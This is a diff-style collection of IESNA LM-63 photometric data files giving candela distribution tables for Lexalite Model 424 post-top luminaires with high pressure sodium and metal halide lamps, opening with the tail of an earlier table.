+ 2390 2045 1670 1282 964 579 354 378 346 336 364 263 182 162 162
+111 146 167 241 377 503 606 689 796 974 1117 1190 1323 1607 1856 2113 2290 2376
+ 2602 2871 3268 3635 4099 4634 5192 5567 5710 5622 5267 4725 4165 3648 3204
+ 2712 2175 1678 1270 707 415 459 406 396 385 272 182 162 162
+111 156 167 251 377 502 574 657 732 879 981 1033 1155 1407 1613 1821 2024 2154
+ 2449 2886 3409 3954 4568 5190 5807 6232 6401 6275 5864 5340 4734 4139 3593
+ 3031 2432 1850 1355 747 445 490 426 386 364 272 182 162 162
+111 166 167 241 377 481 564 637 711 836 917 969 1070 1280 1468 1664 1847 1978
+ 2267 2626 3185 3749 4376 5062 5707 6150 6306 6174 5788 5214 4614 4050 3528
+ 3005 2342 1824 1348 777 445 479 416 365 354 263 182 162 162
+111 156 167 241 356 449 522 573 615 667 697 728 751 835 898 994 1106 1169 1298
+ 1471 1719 2069 2499 3077 3663 4171 4469 4495 4277 3889 3461 3040 2652 2270
+ 1798 1400 1037 599 385 387 324 264 284 242 182 162 162
+111 156 177 251 356 439 501 531 573 614 634 634 656 720 772 846 929 1003 1107
+ 1203 1351 1511 1752 2121 2493 2834 3054 3118 2963 2728 2476 2206 1950 1692
+ 1339 1025 768 492 335 336 273 234 264 223 182 162 162
+111 156 177 251 334 417 458 511 531 572 571 592 594 657 711 784 855 921 1033
+ 1093 1156 1231 1350 1521 1727 1898 2022 2048 1964 1836 1698 1530 1369 1237
+ 1006 791 606 402 295 296 254 224 234 223 182 162 162
+111 146 177 240 314 375 417 458 479 510 509 520 553 595 658 722 804 870 992
+ 1040 1079 1099 1118 1141 1182 1210 1204 1159 1116 1052 991 936 854 789 683 571
+ 488 375 284 275 243 213 213 202 172 162 162
+111 135 156 219 292 355 386 416 448 469 488 489 522 585 637 699 751 819 973
+ 1041 1078 1085 1075 1087 1119 1145 1121 1100 1067 1024 983 939 879 843 746 655
+ 581 465 314 274 243 213 213 192 172 162 162
+111 115 157 219 282 323 365 386 416 448 469 490 533 596 647 698 750 796 920 979
+ 1029 1057 1066 1088 1118 1136 1136 1142 1109 1089 1067 1033 993 960 892 798
+ 712 576 353 284 254 223 212 193 183 162 162
+111 104 135 219 261 303 333 365 396 427 448 480 534 627 668 730 780 803 874 905
+ 958 1018 1036 1070 1132 1183 1220 1216 1204 1180 1150 1138 1096 1062 996 912
+ 830 676 423 314 274 223 212 183 183 162 162
+111 104 135 199 261 292 333 354 365 407 438 480 533 607 680 752 811 833 882 892
+ 924 955 986 1029 1081 1143 1191 1219 1226 1215 1213 1190 1171 1136 1012 1020
+ 933 778 484 344 273 233 212 193 183 162 162
+111 104 125 188 240 281 303 333 354 386 417 459 503 575 639 720 759 781 819 807
+ 819 840 863 915 966 1019 1079 1117 1138 1167 1186 1194 1193 1187 1132 1069
+ 1005 838 482 313 274 223 202 183 183 162 162
+111 104 125 167 230 271 291 313 333 376 418 481 523 608 690 751 790 811 849 826
+ 806 806 807 830 874 936 998 1059 1109 1149 1188 1205 1203 1189 1154 1100 1037
+ 889 511 302 254 212 203 183 183 162 162
+111 104 125 167 209 250 271 291 313 333 355 397 440 524 587 670 730 770 808 786
+ 785 764 764 767 814 895 948 1031 1100 1138 1166 1183 1172 1170 1145 1102 1053
+ 910 542 302 243 213 203 183 183 162 162
+111 104 125 167 208 230 271 291 291 313 334 376 418 482 545 605 645 667 706 705
+ 725 725 747 768 813 898 979 1039 1099 1137 1156 1174 1173 1170 1145 1102 1048
+ 910 562 301 243 223 202 183 183 162 162
--- /dev/null
+IESNA:LM-63-1995
+[DATE]01/14/99
+[TEST]ITL48612
+[MANUFAC]LEXALITE INTERNATIONAL CORPORATION
+[LUMCAT]MODEL 424 TYPE III
+[LUMINAIRE]CAST METAL POST-TOP FITTER AND SOCKET BASE, CLEAR MOLDED
+[MORE]POLYCARBONATE PRISMATIC REFRACTOR WITH FORMED PERFORATED SEMI-
+[MORE]SPECULAR METAL UPPER REFLECTOR, CLEAR MOLDED POLYCARBONATE
+[MORE]LINEAR PRISMATIC DECORATIVE TOP.
+[LAMP]ONE 150-WATT DIFFUSE ED-23.5 HIGH PRESSURE SODIUM, VERTICAL
+[MORE]BASE-DOWN POSITION.
+[_ARCVOLTSRISE] 1.3
+TILT=NONE
+1 15000 1 48 22 1 1 -1.3229 0 1.8646
+1 1 150
+0 2.5 5 7.5 10 12.5 15 17.5 20 22.5 25 27.5 30 32.5 35 37.5 40 42.5 45 47.5 50
+ 52.5 55 57.5 60 62.5 65 67.5 68 70 72.5 75 77.5 80 82.5 85 87.5 90 95 105 115
+ 125 135 145 155 165 175 180
+0 5 15 25 35 45 55 65 70.5 75 85 90 95 105 115 125 135 145 155 165 175 180
+88 130 130 163 229 278 310 342 359 409 476 590 638 720 801 901 1027 1056 1091
+ 1175 1291 1421 1551 1703 1913 2087 2221 2248 2229 2134 1900 1658 1435 1238 995
+ 773 589 485 348 303 271 238 207 191 158 126 126 114
+88 122 130 163 221 270 310 350 367 409 492 580 621 687 760 844 963 1000 1043
+ 1135 1251 1389 1510 1664 1906 2079 2213 2252 2237 2133 1893 1667 1444 1243 981
+ 781 589 488 348 303 271 238 207 191 158 126 118 114
+88 130 130 163 246 311 376 424 457 524 639 717 749 798 847 915 1010 1039 1057
+ 1125 1225 1339 1451 1574 1818 1989 2125 2165 2150 2064 1847 1626 1406 1231 990
+ 790 606 500 348 295 271 238 199 199 158 126 118 114
+88 114 138 147 238 311 384 424 465 514 589 652 668 718 792 858 955 1008 1034
+ 1118 1226 1355 1460 1598 1826 2013 2132 2160 2138 2027 1782 1580 1373 1183 951
+ 770 619 540 347 287 270 222 199 199 166 126 118 114
+88 105 130 155 263 344 433 506 564 664 794 896 928 1003 1085 1184 1285 1306
+ 1323 1385 1503 1648 1787 1970 2296 2556 2760 2831 2805 2671 2340 2032 1715
+ 1463 1156 889 686 586 378 302 270 222 207 215 182 134 118 114
+88 105 130 164 287 377 482 564 646 756 959 1077 1149 1239 1328 1410 1513 1556
+ 1555 1586 1717 1920 2103 2378 2807 3136 3375 3446 3426 3261 2773 2354 2016
+ 1710 1314 975 714 617 393 310 278 239 239 254 190 142 126 114
+88 105 130 163 279 393 498 580 662 781 1010 1176 1247 1347 1470 1621 1858 2028
+ 2108 2106 2165 2360 2613 3016 3690 4220 4674 4902 4893 4741 4082 3330 2673
+ 2105 1540 1071 719 579 427 342 342 302 294 301 205 142 111 114
+88 114 138 180 295 385 490 554 613 722 894 1037 1110 1244 1436 1686 2021 2318
+ 2586 2908 3433 4155 4878 5670 6723 7707 8447 8716 8655 8247 7094 5768 4531
+ 3471 2409 1628 995 744 571 478 485 396 325 317 213 134 118 114
+88 114 130 172 287 368 466 530 572 664 803 914 988 1089 1255 1473 1768 2041
+ 2315 2702 3259 4033 4939 5899 7115 8366 9304 9648 9582 9187 8001 6634 5182
+ 3992 2882 1860 1108 785 618 502 508 395 325 301 213 134 118 114
+88 114 138 180 279 360 449 497 538 597 704 799 831 907 1023 1149 1364 1566 1773
+ 2058 2484 3125 3979 4901 6081 7285 8372 8800 8770 8459 7372 6130 4837 3807
+ 2694 1796 1056 761 586 477 452 348 278 285 205 134 111 114
+88 122 138 188 262 335 400 432 464 496 530 594 594 627 660 702 786 893 1019
+ 1184 1383 1606 1799 2112 2531 2971 3425 3790 3804 3755 3283 2770 2253 1745
+ 1253 847 559 468 381 326 294 230 207 238 182 126 118 114
+88 105 138 179 262 319 367 399 423 456 481 528 528 553 578 604 671 754 871 1019
+ 1164 1298 1404 1534 1670 1804 1990 2142 2145 2105 1860 1613 1340 1095 815 589
+ 416 355 302 263 247 207 192 223 182 126 111 114
+88 114 146 179 254 302 351 375 399 415 448 480 495 503 519 539 614 689 788 903
+ 1035 1165 1201 1247 1263 1315 1367 1381 1370 1296 1139 993 840 694 545 433 327
+ 293 255 232 231 199 174 199 173 126 118 114
+88 105 146 179 237 270 318 334 358 374 391 423 431 447 471 490 556 622 690 816
+ 971 1100 1125 1122 1122 1133 1161 1146 1135 1067 960 854 750 652 543 468 376
+ 341 294 239 223 191 174 174 158 126 118 114
+88 97 146 171 221 253 285 301 326 342 359 391 407 431 455 474 539 588 648 750
+ 897 1030 1086 1091 1091 1108 1130 1110 1098 1063 987 888 801 718 616 551 465
+ 428 356 238 223 191 174 158 142 126 111 114
+88 89 138 163 213 245 261 277 302 326 343 391 407 432 464 498 555 595 628 677
+ 738 851 928 974 1006 1046 1074 1073 1070 1048 972 888 793 718 617 568 490 456
+ 396 262 239 199 174 158 142 126 118 114
+88 89 130 171 204 237 253 269 277 310 335 384 424 465 513 547 605 651 674 697
+ 707 748 789 847 912 985 1040 1095 1094 1065 1005 923 841 760 683 634 573 550
+ 491 332 254 206 174 158 142 126 111 114
+88 89 130 171 204 228 244 253 269 285 311 377 425 466 531 573 646 701 730 737
+ 736 746 771 804 854 921 1000 1046 1049 1044 1000 941 876 819 756 715 661 638
+ 579 370 269 214 174 158 142 126 118 114
+88 81 130 154 188 220 228 253 269 285 303 368 408 449 497 531 605 643 674 688
+ 679 680 698 730 756 814 868 914 921 925 897 864 823 791 761 750 703 684 585
+ 354 245 198 158 150 142 126 111 114
+88 81 130 146 179 196 229 245 261 278 312 377 442 490 538 589 653 699 714 727
+ 694 694 678 678 681 716 764 809 818 831 836 819 810 793 770 767 727 709 626
+ 385 244 182 158 142 142 126 118 114
+88 81 130 146 163 196 212 228 229 261 279 344 376 425 474 524 606 670 715 727
+ 692 660 646 645 632 666 699 747 754 776 789 780 779 761 747 744 712 702 635
+ 433 251 173 158 142 142 126 111 114
+88 81 130 146 162 179 196 212 228 245 263 328 359 392 424 459 540 588 636 664
+ 647 646 630 630 631 650 699 737 745 760 774 773 771 753 739 736 704 695 635
+ 441 251 173 158 142 142 126 111 114
--- /dev/null
+IESNA:LM-63-1995
+[DATE]12/29/98
+[TEST]ITL48613
+[MANUFAC]LEXALITE INTERNATIONAL CORPORATION
+[LUMCAT]MODEL 424 TYPE III
+[LUMINAIRE]CAST METAL POST-TOP FITTER AND SOCKET BASE, CLEAR MOLDED
+[MORE]POLYCARBONATE PRISMATIC REFRACTOR WITH FORMED PERFORATED SEMI-
+[MORE]SPECULAR METAL UPPER REFLECTOR, CLEAR MOLDED POLYCARBONATE
+[MORE]LINEAR PRISMATIC DECORATIVE TOP.
+[LAMP]ONE 175-WATT PHOSPHOR-COATED E-28 METAL HALIDE, VERTICAL BASE-DOWN
+[MORE]POSITION.
+TILT=NONE
+1 14000 1 48 22 1 1 -1.3229 0 1.849
+1 1 175
+0 2.5 5 7.5 10 12.5 15 17.5 20 22.5 25 27.5 30 32.5 35 37.5 40 42.5 45 47.5 50
+ 52.5 55 57.5 60 62.5 65 67.5 69 70 72.5 75 77.5 80 82.5 85 87.5 90 95 105 115
+ 125 135 145 155 165 175 180
+0 5 15 25 35 45 55 65 72.5 75 85 90 95 105 115 125 135 145 155 165 175 180
+89 136 136 159 227 273 318 341 387 433 502 568 592 685 797 864 928 951 1022
+ 1115 1229 1341 1457 1610 1707 1912 2088 2195 2091 2003 1682 1382 1234 1101 963
+ 805 654 565 350 288 288 243 177 199 176 132 132 131
+89 125 136 171 239 284 329 340 387 445 512 556 591 661 752 830 881 884 978 1059
+ 1183 1284 1402 1569 1696 1890 2072 2128 2051 1971 1653 1396 1243 1090 963 793
+ 645 572 350 311 287 243 199 199 176 132 121 131
+89 136 136 183 273 341 386 409 478 547 638 703 726 796 862 908 973 972 1020
+ 1090 1183 1295 1387 1523 1661 1848 2065 2147 2030 1935 1618 1352 1224 1089 953
+ 806 667 581 339 288 277 243 188 199 176 132 132 131
+89 125 136 159 251 319 386 398 478 546 624 645 658 728 807 874 916 929 999 1081
+ 1205 1294 1402 1583 1730 1911 2070 2114 2024 1937 1634 1398 1258 1123 972 807
+ 692 614 361 288 276 220 177 210 176 143 132 131
+89 114 147 171 262 353 444 489 582 695 808 872 898 1001 1101 1157 1208 1209
+ 1268 1327 1432 1557 1698 1902 2098 2364 2657 2782 2680 2544 2058 1675 1475
+ 1306 1113 914 767 678 382 299 288 243 199 232 187 132 132 131
+89 114 136 172 296 388 489 546 662 811 968 1044 1103 1229 1338 1392 1435 1447
+ 1504 1554 1682 1842 2022 2341 2623 2955 3300 3421 3301 3116 2454 1970 1748
+ 1511 1261 1007 820 727 425 310 299 254 244 265 209 143 121 131
+89 125 136 172 309 410 512 581 695 835 1026 1134 1181 1310 1480 1629 1808 1954
+ 2097 2200 2375 2579 2816 3195 3594 4049 4488 4650 4545 4351 3648 2838 2357
+ 1945 1535 1194 910 770 459 366 366 309 276 298 219 154 132 131
+89 125 136 183 308 399 501 557 650 788 933 998 1059 1235 1450 1643 1873 2149
+ 2463 2744 3219 3739 4270 4969 5751 6741 7914 8499 8304 7915 6371 4660 3715
+ 3015 2366 1825 1340 1038 566 444 465 386 320 309 219 154 121 131
+89 125 136 172 296 388 477 512 604 707 807 873 922 1062 1233 1405 1620 1828
+ 2128 2481 3023 3605 4293 5216 6175 7445 8853 9776 9582 9049 7291 5327 4226
+ 3456 2756 2106 1553 1073 576 443 432 341 265 286 209 154 132 131
+89 125 136 183 285 377 477 500 570 661 761 804 842 958 1107 1255 1414 1601 1877
+ 2196 2692 3241 3893 4766 5750 7035 8478 9357 9288 8845 7096 5200 4140 3389
+ 2678 2042 1513 1070 588 465 443 375 275 286 219 154 132 131
+89 125 147 183 285 352 419 432 501 545 601 622 635 681 738 795 863 937 1108
+ 1249 1488 1702 1939 2332 2756 3275 3869 4335 4351 4213 3537 2832 2334 1924
+ 1519 1123 831 695 438 354 332 275 221 254 198 143 132 131
+89 114 147 182 262 330 397 408 455 500 544 554 566 590 635 659 727 788 914 1029
+ 1198 1319 1436 1604 1753 1962 2199 2420 2435 2361 1986 1594 1357 1147 944 731
+ 554 492 352 300 276 232 199 233 198 132 132 131
+89 114 158 182 262 319 375 386 432 454 488 521 521 543 568 613 658 708 822 925
+ 1049 1145 1200 1263 1275 1347 1437 1495 1482 1443 1200 975 869 744 623 518 395
+ 393 321 266 255 209 188 210 187 132 121 131
+89 125 158 193 239 295 329 340 386 408 431 453 453 476 499 534 579 627 718 802
+ 948 1043 1072 1089 1046 1084 1140 1166 1144 1115 951 781 718 638 561 491 407
+ 387 320 255 244 198 166 188 177 132 121 131
+89 102 147 171 216 273 306 294 341 362 386 408 431 453 476 512 555 580 649 722
+ 858 953 996 1035 1013 1051 1108 1146 1135 1120 987 827 774 697 640 571 497 468
+ 363 254 244 198 166 177 166 132 132 131
+89 102 147 171 216 250 283 283 318 341 375 397 419 443 488 522 554 568 621 615
+ 731 806 864 937 949 1006 1053 1128 1132 1112 1014 872 809 741 686 627 553 525
+ 430 286 243 209 154 177 154 132 111 131
+89 90 147 171 215 239 272 261 295 330 363 397 421 478 523 569 611 623 667 666
+ 690 737 785 860 884 967 1056 1128 1139 1136 1037 907 856 810 753 695 632 608
+ 518 341 275 209 166 166 154 132 121 131
+89 90 147 171 204 239 260 250 295 318 341 387 421 478 524 581 636 669 711 699
+ 712 734 760 826 850 931 1010 1082 1098 1104 1019 922 892 856 811 763 700 687
+ 584 396 285 209 154 166 154 132 132 131
+89 90 136 158 193 215 238 239 273 307 330 376 409 455 501 558 611 612 666 654
+ 665 677 701 735 773 850 894 948 974 986 946 883 883 858 825 799 757 737 639
+ 394 274 209 154 154 154 132 111 131
+89 90 136 158 182 204 226 227 273 295 342 387 433 479 546 592 657 658 723 698
+ 697 674 677 696 679 746 771 837 864 890 883 851 863 860 836 811 768 754 650
+ 428 263 187 154 154 154 132 132 131
+89 90 125 136 159 182 204 193 227 262 284 319 353 398 433 490 544 556 610 596
+ 584 574 576 597 602 681 726 782 816 834 840 831 850 827 815 788 747 751 674
+ 471 262 187 154 154 154 132 121 131
+89 90 136 136 159 182 204 204 227 250 273 320 363 387 433 479 545 569 634 631
+ 631 631 632 651 634 702 724 769 793 812 831 832 853 849 825 799 759 755 662
+ 460 262 176 154 154 154 132 132 131
--- /dev/null
+IESNA:LM-63-1995
+[DATE]01/20/99
+[TEST]ITL48623
+[MANUFAC]LEXALITE INTERNATIONAL CORPORATION
+[LUMCAT]MODEL 424 TYPE V
+[LUMINAIRE]CAST METAL POST-TOP FITTER AND SOCKET BASE, CLEAR MOLDED
+[MORE]ACRYLIC PRISMATIC REFRACTOR WITH FORMED PERFORATED SEMI-
+[MORE]SPECULAR METAL UPPER REFLECTOR, CLEAR MOLDED ACRYLIC
+[MORE]LINEAR PRISMATIC DECORATIVE TOP.
+[LAMP]ONE 150-WATT DIFFUSE ED-23.5 HIGH PRESSURE SODIUM, VERTICAL
+[MORE]BASE-DOWN POSITION.
+[_ARCVOLTSRISE] 0.3
+TILT=NONE
+1 15000 1 47 1 1 1 -1.3229 0 1.8646
+1 1 150
+0 2.5 5 7.5 10 12.5 15 17.5 20 22.5 25 27.5 30 32.5 35 37.5 40 42.5 45 47.5 50
+ 52.5 55 57.5 60 62.5 65 67.5 70 72.5 75 77.5 80 82.5 85 87.5 90 95 105 115 125
+ 135 145 155 165 175 180
+0
+55 75 96 128 181 229 271 305 341 385 440 484 531 573 620 700 793 863 921 1020
+ 1197 1412 1643 1932 2315 2686 3018 3263 3337 3198 2905 2515 2108 1677 1274 917
+ 680 391 345 343 285 232 225 191 154 143 146
--- /dev/null
+IESNA:LM-63-1995
+[DATE]01/20/99
+[TEST]ITL48624
+[MANUFAC]LEXALITE INTERNATIONAL CORPORATION
+[LUMCAT]MODEL 424 TYPE V
+[LUMINAIRE]CAST METAL POST-TOP FITTER AND SOCKET BASE, CLEAR MOLDED
+[MORE]ACRYLIC PRISMATIC REFRACTOR WITH FORMED PERFORATED SEMI-
+[MORE]SPECULAR METAL UPPER REFLECTOR, CLEAR MOLDED ACRYLIC
+[MORE]LINEAR PRISMATIC DECORATIVE TOP.
+[LAMP]ONE 175-WATT PHOSPHOR-COATED E-28 METAL HALIDE, VERTICAL BASE-DOWN
+[MORE]POSITION.
+TILT=NONE
+1 14000 1 47 1 1 1 -1.3229 0 1.8646
+1 1 175
+0 2.5 5 7.5 10 12.5 15 17.5 20 22.5 25 27.5 30 32.5 35 37.5 40 42.5 45 47.5 50
+ 52.5 55 57.5 60 62.5 65 67.5 70 72.5 75 77.5 80 82.5 85 87.5 90 95 105 115 125
+ 135 145 155 165 175 180
+0
+57 78 99 129 179 223 264 298 333 378 423 458 499 550 606 678 749 806 871 991
+ 1176 1400 1627 1900 2203 2476 2688 2813 2828 2730 2530 2256 1976 1693 1428
+ 1153 921 519 319 333 277 233 219 182 148 135 137
--- /dev/null
+IESNA:LM-63-1995
+[DATE]01/19/99
+[TEST]ITL48625
+[MANUFAC]LEXALITE INTERNATIONAL CORPORATION
+[LUMCAT]MODEL 424 TYPE V
+[LUMINAIRE]CAST METAL POST-TOP FITTER AND SOCKET BASE, CLEAR MOLDED
+[MORE]POLYCARBONATE PRISMATIC REFRACTOR WITH FORMED PERFORATED SEMI-
+[MORE]SPECULAR METAL UPPER REFLECTOR, CLEAR MOLDED POLYCARBONATE
+[MORE]LINEAR PRISMATIC DECORATIVE TOP.
+[LAMP]ONE 150-WATT DIFFUSE ED-23.5 HIGH PRESSURE SODIUM, VERTICAL
+[MORE]BASE-DOWN POSITION.
+[_ARCVOLTSRISE] 0.5
+TILT=NONE
+1 15000 1 47 1 1 1 -1.3229 0 1.8646
+1 1 150
+0 2.5 5 7.5 10 12.5 15 17.5 20 22.5 25 27.5 30 32.5 35 37.5 40 42.5 45 47.5 50
+ 52.5 55 57.5 60 62.5 65 67.5 70 72.5 75 77.5 80 82.5 85 87.5 90 95 105 115 125
+ 135 145 155 165 175 180
+0
+30 50 63 83 117 151 183 209 233 265 307 344 372 412 452 502 573 646 705 769 876
+ 1046 1271 1546 1898 2280 2637 2920 3006 2846 2500 2069 1636 1230 855 575 424
+ 315 293 285 240 188 178 151 113 101 101
--- /dev/null
+IESNA:LM-63-1995
+[DATE]01/20/99
+[TEST]ITL48626
+[MANUFAC]LEXALITE INTERNATIONAL CORPORATION
+[LUMCAT]MODEL 424 TYPE V
+[LUMINAIRE]CAST METAL POST-TOP FITTER AND SOCKET BASE, CLEAR MOLDED
+[MORE]POLYCARBONATE PRISMATIC REFRACTOR WITH FORMED PERFORATED SEMI-
+[MORE]SPECULAR METAL UPPER REFLECTOR, CLEAR MOLDED POLYCARBONATE
+[MORE]LINEAR PRISMATIC DECORATIVE TOP.
+[LAMP]ONE 175-WATT PHOSPHOR-COATED E-28 METAL HALIDE, VERTICAL BASE-DOWN
+[MORE]POSITION.
+TILT=NONE
+1 14000 1 73 1 1 1 -1.3229 0 1.8646
+1 1 175
+0 2.5 5 7.5 10 12.5 15 17.5 20 22.5 25 27.5 30 32.5 35 37.5 40 42.5 45 47.5 50
+ 52.5 55 57.5 60 62.5 65 67.5 70 72.5 75 77.5 80 82.5 85 87.5 90 92.5 95 97.5
+ 100 102.5 105 107.5 110 112.5 115 117.5 120 122.5 125 127.5 130 132.5 135
+ 137.5 140 142.5 145 147.5 150 152.5 155 157.5 160 162.5 165 167.5 170 172.5
+ 175 177.5 180
+0
+31 47 67 81 120 152 182 207 234 264 298 332 358 398 446 495 563 625 681 763 890
+ 1070 1288 1536 1838 2126 2374 2551 2588 2459 2218 1895 1573 1270 995 766 603
+ 477 374 324 289 279 288 289 289 288 278 265 263 244 231 223 205 197 188 183
+ 180 175 166 163 162 152 142 139 122 122 106 102 102 99 102 102 101
--- /dev/null
+IESNA:LM-63-1995
+[DATE]02/23/99
+[OTHER]REVISED: 03/11/99
+[TEST]ITL48792
+[MANUFAC]LEXALITE INTERNATIONAL CORPORATION
+[LUMCAT]LEXALITE MODEL 424 TYPE V
+[LUMINAIRE]CAST METAL POST-TOP FITTER AND SOCKET BASE, CLEAR MOLDED
+[MORE]ACRYLIC PRISMATIC REFRACTOR WITH FORMED SEMI-SPECULAR NON-
+[MORE]PERFORATED METAL UPPER REFLECTOR, CLEAR MOLDED ACRYLIC LINEAR
+[MORE]PRISMATIC DECORATIVE TOP.
+[LAMP]ONE 175-WATT PHOSPHOR-COATED E-28 METAL HALIDE, VERTICAL BASE-DOWN
+[MORE]POSITION.
+TILT=NONE
+1 14000 1 47 1 1 1 -1.3229 0 1.8646
+1 1 175
+0 2.5 5 7.5 10 12.5 15 17.5 20 22.5 25 27.5 30 32.5 35 37.5 40 42.5 45 47.5 50
+ 52.5 55 57.5 60 62.5 65 67.5 70 72.5 75 77.5 80 82.5 85 87.5 90 95 105 115 125
+ 135 145 155 165 175 180
+0
+61 87 111 150 214 270 321 364 407 458 508 547 596 651 702 772 849 916 995 1122
+ 1325 1573 1836 2127 2441 2719 2905 2977 2919 2739 2467 2155 1856 1578 1308
+ 1040 814 481 289 262 197 153 142 101 54 34 34
+\1a
\ No newline at end of file
--- /dev/null
+IESNA:LM-63-1995
+[DATE]02/24/99
+[OTHER]REVISED: 03/11/99
+[TEST]ITL48793
+[MANUFAC]LEXALITE INTERNATIONAL CORPORATION
+[LUMCAT]LEXALITE MODEL 424 TYPE III
+[LUMINAIRE]CAST METAL POST-TOP FITTER AND SOCKET BASE, CLEAR MOLDED
+[MORE]ACRYLIC PRISMATIC REFRACTOR WITH FORMED SEMI-SPECULAR NON-
+[MORE]PERFORATED METAL UPPER REFLECTOR, CLEAR MOLDED ACRYLIC LINEAR
+[MORE]PRISMATIC DECORATIVE TOP.
+[LAMP]ONE 175-WATT PHOSPHOR-COATED E-28 METAL HALIDE, VERTICAL BASE-DOWN
+[MORE]POSITION.
+TILT=NONE
+1 14000 1 48 22 1 1 -1.3229 0 1.8646
+1 1 175
+0 2.5 5 7.5 10 12.5 15 17.5 20 22.5 25 27.5 30 32.5 35 37.5 40 42.5 45 47.5 50
+ 52.5 55 57.5 60 62.5 65 67.5 68 70 72.5 75 77.5 80 82.5 85 87.5 90 95 105 115
+ 125 135 145 155 165 175 180
+0 5 15 25 35 45 55 65 72.7 75 85 90 95 105 115 125 135 145 155 165 175 180
+118 149 193 236 322 386 449 470 515 601 664 728 793 884 1012 1113 1168 1163
+ 1174 1296 1482 1575 1646 1796 1918 2016 2068 2079 2071 2016 1911 1819 1689
+ 1567 1444 1223 990 782 479 263 225 184 143 143 101 81 62 62
+118 149 181 214 312 397 449 481 526 601 664 727 770 840 969 1069 1115 1113 1141
+ 1252 1429 1533 1605 1757 1902 2017 2066 2069 2063 2017 1911 1819 1691 1576
+ 1443 1222 997 812 478 263 236 184 153 152 91 81 62 62
+118 149 193 236 365 451 535 577 624 753 835 896 918 987 1091 1152 1186 1162
+ 1172 1269 1415 1511 1580 1714 1857 1953 2000 1984 1971 1900 1793 1696 1592
+ 1506 1387 1191 952 762 460 263 225 184 143 143 101 81 62 62
+118 139 181 215 345 440 525 567 632 707 771 820 833 912 1008 1089 1123 1112
+ 1141 1252 1430 1545 1617 1796 1983 2124 2170 2142 2127 2051 1918 1816 1681
+ 1574 1438 1245 1017 823 457 263 225 184 143 143 101 81 62 62
+118 139 182 237 378 505 589 664 754 904 1006 1067 1122 1211 1327 1395 1417 1381
+ 1376 1519 1707 1841 1995 2205 2443 2615 2686 2646 2624 2511 2314 2164 1994
+ 1840 1680 1444 1172 929 505 262 225 184 153 164 122 81 62 62
+118 139 193 248 399 537 643 731 874 1066 1211 1291 1358 1478 1577 1616 1635
+ 1557 1525 1613 1827 1993 2188 2498 2831 3076 3164 3161 3142 3010 2715 2500
+ 2301 2097 1864 1565 1240 995 543 261 236 204 186 224 142 81 62 62
+118 149 193 270 421 570 676 784 917 1144 1331 1431 1511 1671 1799 1947 2046
+ 1986 1883 1882 2027 2247 2527 2975 3440 3857 4093 4180 4174 4077 3769 3439
+ 3123 2806 2463 2042 1623 1272 690 300 288 257 259 306 161 91 62 62
+118 160 193 258 421 570 675 762 906 1087 1233 1325 1419 1652 1911 2184 2384
+ 2487 2557 2736 3049 3422 3800 4266 4837 5327 5636 5723 5709 5576 5183 4721
+ 4251 3736 3277 2718 2204 1734 873 371 381 339 318 326 182 91 62 62
+118 160 203 269 410 548 643 729 828 978 1081 1165 1258 1457 1683 1919 2142 2261
+ 2406 2743 3239 3777 4282 4814 5437 5975 6299 6375 6353 6190 5769 5241 4718
+ 4178 3622 3017 2359 1792 964 390 412 347 287 306 171 91 62 62
+118 171 203 280 409 537 632 717 806 934 1028 1100 1168 1317 1543 1745 1940 2070
+ 2203 2533 3040 3586 4111 4769 5370 5894 6254 6344 6320 6164 5771 5221 4646
+ 4087 3560 2943 2316 1831 963 390 402 337 266 285 162 81 62 62
+118 160 203 269 398 494 568 631 696 758 801 841 852 899 975 1063 1165 1227 1310
+ 1480 1719 2059 2451 2939 3580 4093 4466 4653 4655 4593 4327 3961 3544 3106
+ 2737 2270 1788 1389 708 341 307 234 185 204 142 81 62 62
+118 171 213 269 377 483 556 587 631 694 714 744 746 789 834 901 983 1036 1114
+ 1228 1390 1550 1759 2097 2494 2818 3071 3225 3233 3211 3048 2851 2574 2281
+ 2002 1665 1272 1003 555 292 245 193 144 174 122 81 62 62
+118 160 203 257 365 450 513 567 598 639 650 681 692 714 761 836 899 962 1028
+ 1116 1218 1291 1399 1587 1786 1954 2059 2132 2135 2115 2018 1930 1766 1606
+ 1432 1217 963 781 447 253 215 173 134 153 101 81 62 62
+118 160 203 257 344 418 470 502 534 565 575 597 619 651 698 772 835 900 975
+ 1050 1130 1163 1163 1186 1218 1245 1250 1208 1207 1195 1121 1081 1032 961 900
+ 782 644 564 404 243 184 143 123 122 81 81 62 62
+118 139 193 236 322 375 428 459 492 522 533 566 587 630 662 719 790 838 946
+ 1041 1117 1127 1106 1108 1123 1159 1143 1134 1133 1113 1063 1040 996 954 904
+ 812 714 648 475 271 183 143 123 112 81 81 51 62
+118 139 193 235 300 363 396 427 460 501 502 556 587 631 673 717 780 825 903 999
+ 1077 1111 1109 1117 1121 1150 1157 1166 1171 1170 1129 1115 1081 1052 1024 948
+ 837 768 597 331 182 153 122 112 71 81 62 62
+118 118 172 236 300 342 374 395 428 470 493 546 589 643 708 771 820 842 885 942
+ 1026 1070 1080 1112 1148 1209 1248 1271 1277 1285 1242 1222 1196 1154 1117
+ 1045 956 892 698 392 221 163 122 122 81 81 62 62
+118 118 160 225 278 321 353 384 406 437 461 526 580 644 709 783 844 885 924 947
+ 990 1027 1037 1062 1115 1160 1230 1271 1281 1300 1278 1277 1261 1227 1194 1140
+ 1048 982 802 462 252 183 122 112 81 81 62 62
+118 118 160 203 257 300 332 374 385 427 440 515 556 601 666 738 777 799 840 862
+ 901 908 909 935 992 1055 1116 1156 1170 1211 1210 1230 1234 1222 1207 1167
+ 1105 1050 852 470 230 162 122 101 71 81 62 62
+118 106 150 214 257 300 342 362 385 428 474 558 601 665 729 793 850 849 868 869
+ 889 881 844 868 895 958 1012 1093 1108 1151 1170 1202 1225 1213 1206 1158 1106
+ 1059 905 510 228 142 113 101 62 81 62 62
+118 106 150 182 225 268 288 309 331 362 376 441 493 527 602 655 714 732 743 765
+ 782 777 761 786 832 900 985 1051 1069 1133 1163 1201 1214 1199 1175 1138 1091
+ 1067 927 530 216 121 102 102 62 81 62 62
+118 106 150 193 235 257 299 298 322 362 366 452 493 535 579 646 726 746 786 809
+ 848 838 798 806 850 899 985 1051 1072 1143 1162 1197 1193 1189 1167 1137 1077
+ 1040 896 541 216 121 102 102 62 81 62 62
+\1a
\ No newline at end of file
--- /dev/null
